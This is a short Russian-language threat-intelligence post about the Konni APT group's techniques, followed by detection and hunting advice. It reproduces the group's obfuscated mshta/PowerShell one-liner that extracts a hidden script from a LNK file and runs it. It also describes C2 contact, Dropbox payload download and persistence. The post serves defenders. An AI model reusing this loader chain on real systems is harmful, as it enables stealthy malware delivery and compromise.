Давайте сегодня посмотрим отчет, связанный с TTP Konni APT
🔤 Первый LNK запускает
mshta.exe со следующими аргументами:
javascript:a="pow"+"ershell -ep bypa"+"ss ";g="c:\\pro"+"gramdata\\";m=" -Encoding Byte;sc ";p="$w ([byte[]]($f "+"| select -Skip 0x08e4)) -Force";s="a=new Ac"+"tiveXObject('WSc"+"ript.Shell');a.Run(c,0,true);close();";c=a+"-c $t=0x17cb;$k = Get-ChildItem *.lnk | where-object {$_.length -eq $t} | Select-Object -ExpandProperty Name;if($k.co"+"unt -eq 0){$k=G"+"et-ChildItem $env:TEMP\\*\\*.l"+"nk | where-object{$_.length -eq $t};};$w='"+g+"e.ps1';$f=gc $k"+m+p+m+g+"3246 0;"+a+"-f $w;";eval(s);
🔤 Скрипт выполняет поиск LNK-файла, сначала в текущей директории, потом в TEMP. LNK-файла должен быть определенного размера
🔤 Из найденного LNK извлекается PowerShell- скрипт и сохраняется в
ProgramData\e.ps1Хакеры часто используют самоизвлекающиеся LNK-файлы, чтобы доставить второй этап атаки
🔤
e.ps1 обфусцированный скрипт, который обращается на C2 и загружает с dropbox архив🔤Для закрепления хакеры использовали планировщик задач и ключ реестра
Run🔤 Также скрипт получает c С2 текст, кодированный Base64 и выполняет его
🔭 Для обнаружения:
🔤 отслеживаем создание LNK и PS1 файлов в директориях пользователя
🔤 в аргументах Powershell ищем
-Encoding Byte, DecodeByte. Можем поискать в логах Powershell или аргументах наличие Base64-строк🔤 отслеживаем создание новых задач в журнале Security
EventId = 4698. В данном событии содержится xml созданной задачи. Для хантинга:
🔤 можем собрать и спарсить все задачи пользователей, и проанализировать
Автора, Исполняемый файл, Аргументы🔤 наличие в ключах реестра Run скриптов
#ttp@detectioneasy
#detection@detectioneasy